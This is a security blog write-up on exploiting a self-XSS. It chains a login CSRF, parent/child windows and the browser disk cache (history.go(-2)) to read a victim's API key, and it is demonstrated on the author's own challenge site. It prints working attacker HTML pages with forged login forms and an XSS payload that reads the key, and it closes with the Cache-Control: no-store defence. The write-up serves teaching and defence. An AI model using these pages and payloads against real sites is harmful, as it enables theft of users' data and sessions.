Exploiting Self-XSS Using Disk Cache

5 Mins read

Think about a situation where you have a self-XSS and you can’t do anything with it — What would your next move be?

slonser has a great write-up that explains everything about exploiting self-XSS, so I won’t repeat those details here. But I’ll focus on one interesting technique. One of the ways to exploit a self-XSS is to force the victim to log in to your account, then run your self-XSS.
Maybe you think the only way to do this is through a login CSRF — and if that’s the case, you’re wrong.
There are several other ways to achieve this, like using forgot password, magic link, user invite link, etc.

But let’s say you can actually do that.
Then you need a way to redirect the victim to the endpoint where the XSS exists.
And let’s say you can do that too.
In that situation, you’re now in a new session, you might think that means you can’t access the victim’s data, If that were the case, it would’ve been easy — but the one I actually exploited was a bit harder.

I’ll explain a niche technique to exploit a type of self-XSS — where you can somehow log the victim into your account, but the XSS is on a different path, and you can’t redirect the victim to it directly.


A few days ago, my friend Sepehr reached out to me with a self-XSS. He also found a login CSRF.

If the XSS runs exactly after login, the HTML below could bypass it and run the XSS — as one window (child) has the victim’s data, and we force the main window to send a form request to log the victim into the attacker’s account (where the XSS exists).
Since the windows are same-origin and have a parent/child relationship, they can read data from each other.

<!DOCTYPE html>
<html>
  <head>
    <title>attacker website</title>
  </head>
  <body>
    <button onclick="run()">click</button>

    <form id="myForm" method="POST" action="http://site.com/index.php">
      <input type="hidden" name="username" value="user" />
      <input type="hidden" name="password" value="pass" />
      <input type="hidden" name="login" value="" />
    </form>

    <script>
      function run() {
        zwin = window.open(
          "http://site.com/index.php",
          "childWindow",
          "width=600,height=400"
        );
        setTimeout(() => {
          document.getElementById("myForm").submit();
        }, 3000);
      }
    </script>
  </body>
</html>

But it didn’t work in our situation.
Because after the login, it redirects to another path, and the XSS doesn’t fire.
So, how could we fire the XSS and still have access to the victim’s data (like apikey)?

Another method that came to my mind was using iframe, but the response header had X-Frame-Options: DENY.


I tried again, step by step:

  • Open a new window and go to the path where the victim’s data exists
  • Then send a POST CSRF login to that window using a form with the target attribute
  • Then redirect that window to the XSS endpoint

It’s obvious that the XSS does fire, but we can’t access the victim’s data.

I was imagining that window in my mind, and an idea popped up 😄

Alt text
I remembered one of the best write-ups I’ve ever read: nonce-csp-bypass-using-disk-cache . It was amazing — definitely check it out.
Jorian explains disk cache completely, and it’s a very useful gadget.

So I quickly tested it in the browser console:

history.go(-2);

…and saw the victim’s data 😁 hahaha!


Then I made the HTML below ( slightly modified to work on this challenge ), which does the following:

  • First, opens a new window where the victim’s data exists
  • sends a CSRF login form
  • navigates that window to the XSS payload endpoint
  • Then redirects the parent window using location.href to that XSS endpoint again
<!DOCTYPE html>
<html>
  <body>
    <button onclick="run()">click</button>
    <form
      id="myForm"
      action="https://selfkiri.x0x.site/login"
      method="POST"
      target="childWindow"
    >
      <input type="hidden" name="username" value="meydi" />
      <input type="hidden" name="password" value="123" />
    </form>

    <script>
      function run() {
        zwin = window.open(
          "https://selfkiri.x0x.site/profile?victim",
          "childWindow",
          "width=600,height=400"
        );
        setTimeout(() => {
          document.getElementById("myForm").submit();
          setTimeout(() => {
            zwin.location = "https://selfkiri.x0x.site/profile?attacker";
            setTimeout(() => {
              window.location = "https://selfkiri.x0x.site/profile";
            }, 2000);
          }, 2000);
        }, 2000);
      }
    </script>
  </body>
</html>

The XSS payload must be in:

location.search == "?attacker"
  ? history.go(-2)
  : (zwins = window.open("", "childWindow"));
key = zwins.document.getElementById("api-key").outerText;
alert(key);

Now we have two windows — they are same-origin and have a parent/child relationship, so they can read from each other.
Based on the location.href in the window, XSS payload decides to either history.go(-2) or read the data.

One last trick is using a query parameter in the URL. That’s because the disk cache is based on the full URL — so by using different query parameters, we can keep /profile?test cached even when we later redirect the victim to the same endpoint /profile For example:

/profile?attacker

/profile?victim

These are treated as different URLs and have separate cache keys

And DONE — we could exploit our self-XSS!


💥 Challenge

I made a challenge for this, and very few people solve it. sure it wasn’t seen by many, otherwise a lot of people would have solved it.

firstblood🩸: 0x999

You can check the source code and try it yourself.


When It Doesn’t Work

One of my friends Moein solved the challenge and asked me: “When does this not work?”
And he gave me this:

Cache-Control: no-store, no-cache, must-revalidate

After very little testing, I found that only:

Cache-Control: no-store

is enough to prevent such an attack — as explained in:
🔗 https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control

So if you’re a developer, make sure to set this header on sensitive endpoints.

If you want, test all the directives of Cache-Control yourself — because I didn’t test all of them, just the ones listed above.

Thanks for reading! Have a nice day,

Meydi